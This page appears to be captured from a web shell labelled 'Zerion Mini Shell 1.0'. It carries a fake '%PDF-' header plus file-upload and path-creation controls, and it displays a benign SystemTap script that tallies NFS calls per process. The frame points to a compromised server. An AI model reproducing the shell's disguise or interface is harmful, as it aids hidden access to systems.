%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/systemtap/examples/io/
Upload File :
Create Path :
Current File : //usr/share/systemtap/examples/io/nfs_func_users.stp

#!/usr/bin/stap

global nfsdcalls

probe begin {
  printf("Collecting top NFSD procs...\n")
}

probe {kernel,module("nfs")}.function("*@fs/nfs/*proc.c") ? {
  nfsdcalls[execname(), pid()]++
}

probe end {
  printf("\nname(pid) nfs ops\n");
  foreach ([name,p] in nfsdcalls- limit 20)
    printf("%s(%d) %d\n", name, p, nfsdcalls[name, p])
}

Zerion Mini Shell 1.0